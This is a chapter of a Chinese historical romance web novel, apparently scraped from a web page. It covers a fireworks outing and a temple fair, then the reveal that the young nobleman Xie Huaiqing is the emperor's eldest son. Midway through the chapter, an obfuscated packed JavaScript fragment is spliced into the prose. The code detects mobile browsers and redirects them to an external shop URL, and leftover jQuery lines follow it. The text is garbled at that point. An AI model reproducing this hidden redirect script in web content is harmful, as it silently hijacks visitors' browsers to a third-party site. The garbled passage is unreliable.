第19章
“烟花?”郭贞玉转头,一双干净的眸子里闪过欢喜。
谢怀庆双手交叠在脑后,发簪上的金坠儿落在肩头,“郭二,瞧好了。”
话音刚落,嗖的一声,一道火树银花从河畔边冲天而起,直直的跃上夜空,然后“砰”的一声炸开了,亮红色的光像是凤凰的尾,绽放在半空,把河畔都照的亮盈盈的。
郭贞玉惊诧的看着那炸开的烟花,一张白净的小脸倒映着烟花的光泽,眼底则是一道、二道、三道,更多的烟花在天幕绽放,声音轰轰隆隆的。有的是金丝垂柳,有的是梅兰竹菊,五光十色,极为好看。
“这是新制的烟花。”谢怀庆捂着耳朵,朝着郭贞玉笑道:“叁华街上有间烟花铺子,相当有本事,能变化出十二种花,说是效仿十二花神,心思灵巧的很,等他们研究出来,我带你去看。”
郭贞玉看着天上的烟花,不住的点头。她很开心,所有的委屈似乎都随着天空炸开的烟花消散了,周围庙会的人也高兴的又说又笑。
只有在对岸正在点引线的八个小太监,愁的不行。
他们奉旨保护圣上的亲儿子谢怀庆,但是这小子,太能折腾了。
说是要哄人,就跟礼部和烟花铺子里调拨了烟花,不是一道两道的,一张口就是连续燃放一个时辰的。
这是烟花,贵的很,而且一眨眼就没了。
居然张口就要一个时辰的,当饭吃呢!
天上的烟花依旧一朵朵的炸开,小太监愁眉苦脸的一遍遍点引线,耳朵都快被震聋了,而谢怀庆早就拉着郭贞玉朝着庙会去了。
烟花嘛,看看得了,剩下的让那些赶庙会的小孩儿,少男少女看。
他反正看够了。
庙会很是热闹,比祠堂热闹多了,扛着糖葫芦串的,捏面人的,还有吹糖人的,就在长街上一个接一个的叫卖。
糖葫芦卖的很少,倒是很多人都在那里排队买糖人。
微微的火苗,一股子焦糖的甜丝丝的味儿,小铁铲子在油纸上挥了挥,就是一只小兔子的糖画,很是可爱,那些排队的小孩子看到这一幕,瞬间就围了上来,不住拍手的叫好。
天空烟花一朵朵的炸开,小孩儿高高兴兴地买糖画,国泰民安,也当如此。
没有天灾,没有人祸,百姓安宁,帝王贤德。
郭贞玉觉得这一幕要深深的记住,最好是画下来,将来去内文学馆讲经筵时,刻意展示给那些掌握大魏命脉的公主皇孙们,好时刻记得百姓的疾苦与欢悦。
正在琢磨这些,谢怀庆将一只兔子糖画随手递给郭贞玉,自己嘴里则叼了四只糖画,只有四个木头棒棒在嘴角。
“小孩儿才喜欢糖画。”郭贞玉睨了他的唇角一眼。
“谁规定的?”谢怀庆嘴里含着四只兔子糖,有些含含糊糊,“小爷我喜欢,喜欢就怎么着都行。”
“……”
郭贞玉也不吃,就一直拿着。
“你怎么不吃,郭二,不开心就要吃甜,吃甜就高兴了。”谢怀庆伸胳膊肘戳了戳郭贞玉,“还是说你开心了?”
郭贞玉笑了笑,拉他离着糖画摊子远了些,将手里那只糖画也塞到了他的嘴里。
谢怀庆伸手指着郭贞玉,呜呜囔囔的,但是被糖画塞满了,说不出来。
郭贞玉睨了路过的人一眼,又伏在他耳边,柔和又低低道:“我方才瞧着那糖画小哥儿,用手掏了鼻子,但是没擦,就是一开始的那四只兔子糖,他都摸了。”
这话一出,谢怀庆嘴里的糖吧嗒都掉了出来,碎的一块一块的。
他就是买的最前面四块糖画,而且还是废了九牛二虎之力从那个几个排队的小孩儿手里抢过来的……
结果是,抹了鼻子的。
谢怀庆觉得自己要碎了,他那么爱洁净的一个人。
脏一点,都不吃的。
为了哄郭二,自己居然吃了……
谢怀庆觉得自己真的要把前年的饭吐出来了,他捂着嘴,在糖水铺子前猛灌了三碗糖水,又是漱口又是吐的。
“郭二,你有没有良心!”谢怀庆扔了一角银子给糖水老板,随后大步追着郭贞玉,“小爷我千金哄你开心,你戏弄小爷。”
郭贞玉停住脚步,吓得谢怀庆鼻尖差点怼在郭贞玉那件干净的长衫上。
“不是给你吃了一块干净的?”郭贞玉直直看着他,故意一脸无辜,“我都没吃,怕你不够吃的。”
“哎哎,我说郭二!你是个无赖吧!”谢怀庆伸手要捏郭贞玉的脸,想要把她捏哭了,却见郭贞玉伸手摸了摸他的发心,认真道:“谢谢你,谢怀庆。”
谢怀庆微微一怔,觉得鼻尖全是那抹似有若无的雪松与青苔混着冷雪的香气,脑子也嗡嗡的。
她居然谢谢自己?这么高兴吗?知道这么高兴早就拉她出来了。
但是片刻又皱眉,“郭二,你刚才给我吃鼻屎的糖画了!这事儿小爷跟你没完。”
“是你自己塞了四块,我给你的是好的。”郭贞玉回了他一句,然后提起裙摆,朝着宜春侯府后面的柳树林子跑去了。
谢怀庆一边追,一边不停地说着糖画的事儿。
好像这糖画就过不去了,就非要狗皮膏药一般粘住郭贞玉。
郭贞玉没心思搭理他吃了什么糖画的事儿,不就是粘了点鼻屎,有什么关系?!她之前看书,还看到书上写的有些商贩为了保鲜保红,把虾扔进粪里泡着……
不也都卖光了?!
再说,还有那臭豆腐,臭的跟大粪似的,不也有人吃?
“你不要鸡婆,太讲究不行,太讲究了,走的早。”郭贞玉也没回头,只是又补了一句,“行了,你快走吧,我得溜了。”
她琢磨着从后门进去,然后绕过那篇海棠林子,再进海棠苑西北角那个小门。
先回房睡一觉,等待快天明时,再去祠堂点个卯。
郭贞玉蹑手蹑脚的走到西北角的小门,却见丫头青箬悄悄给她摆手,示意她赶紧去祠堂,老太太来了。
郭贞玉面色一紧,忙又顺着原路拐了几个弯,朝着祠堂去了,一路走一路想着怎么应付祖母。
就这样,郭贞玉悄无声息的去了祠堂,她迈上台阶,想要推开门,却听到里面有动静。
“大殿下,您快别折腾了,御史台都上折子了,说您私自调动皇店和礼部的烟花。”宜春侯郭镛愁的五官都快拧在一起了。
听到这句,郭贞玉的手指猛然一抖,帕子一下跌落在地上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960953|213775||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>大殿下?
郭贞玉心里一下子清明,她之前就觉得祖父对谢怀庆宽和的过头了,便是谢阁老的亲外孙,也不能那般闲散随意的躺在祖父抱厦里的宽榻上。
而且,还特意让自己教他读盐铁论和救荒书。
原来,帝王的学问,不是教给纨绔,而是教给未来的帝王……
可是,二殿下,李景宜又是怎么回事?上辈子只知道李景宜被立又被废,还当真以为自己的这所谓的“旺夫命”有点效果、
原来是这么层关系。
郭贞玉微微一顿,一双清和的眸子里潋滟着一种极致的好奇与兴奋,谢怀庆居然是大殿下,圣上的亲儿子!
那么,自己那些救荒书和盐铁论,还有其他的,就没有白教。先前还觉得只在内文学馆教给宫中女眷,怕是等到她百岁,为女子开新路的理想都没法实现。
没成想,她居然教了未来的帝王。
她上辈子走的早,居然不知道未来的新君,就是谢怀庆!
她不怕,也不畏惧他的身份,她有种莫名的兴奋,觉得自己那种极端的、疯狂的理想主义,或许可以实现。
一个狂悖、不在意世间礼教的新君,一个相对自由的新朝,是不是意味着有更多的女孩子能站在朝堂,站在街巷,站在她们想要站的地方?!
宜春侯郭镛叹了口气,“大殿下,您就不能跟圣上说句软话?”
搞得他和谢阁老快忙疯了,跟在这小子后面给他收拾烂摊子。
怎么就调拨了一个时辰的烟花啊?!烧银子呢,这是!
“为什么啊?”郭镛揉着太阳穴,有些无奈的看着谢怀庆。
“不为什么,就是高兴,就是玩儿。”谢怀庆一跃坐在供桌上,满脑子都是郭贞玉笑眼盈盈望着烟花的模样。
觉得还是调拨的少了,还是得两个时辰。
郭镛看着那晃晃悠悠的供桌,也没说什么,倒是突然想起了些旁的,朝着谢怀庆低低道:“殿下,您的生母被封了金昭仪,在镜春居。”
这段孽缘还是给续上了,一开始谢婉华为了个遗腹子绑了还是太子的洪庆帝,那般折辱胡闹,后来圣上恼极了谢婉华。
可是这周周转转的,就是进了宫一趟,就这么缠上了。
圣上那病似乎也好了似的,夜夜留宿镜春居,这一来二去的,就益发的想要见见自己的亲儿子。
说起来,上一辈人的纠葛,不该掺和下一辈。
但是没办法,江山还是得亲儿子继承,那二殿下就是个假招牌。
将来百岁后进了皇陵,还得亲孙子亲儿子。
弄个假的进去,怕是会被列祖列宗弄死。
谢怀庆没有回应,目光透过雕花窗看向远处,半晌又半仰着身子扫过郭家祖宗的牌位,笑了笑,“小爷我,不见他!我还没玩够呢。”
郭镛心里的大石头一下子砸在了脚上,这好说歹说的,怎么说都不行!
看来,真得找二孙女,说一下了。
郭镛打开门,气呼呼的走了,听到门吱呀一声,祠堂内再无动静,郭贞玉这才从后面蹑手蹑脚的出来。
刚要进祠堂,却见谢怀庆靠在祠堂门旁的廊柱上,一双微圆的眸子挑着,看向郭贞玉,淡淡道:“你听到了?”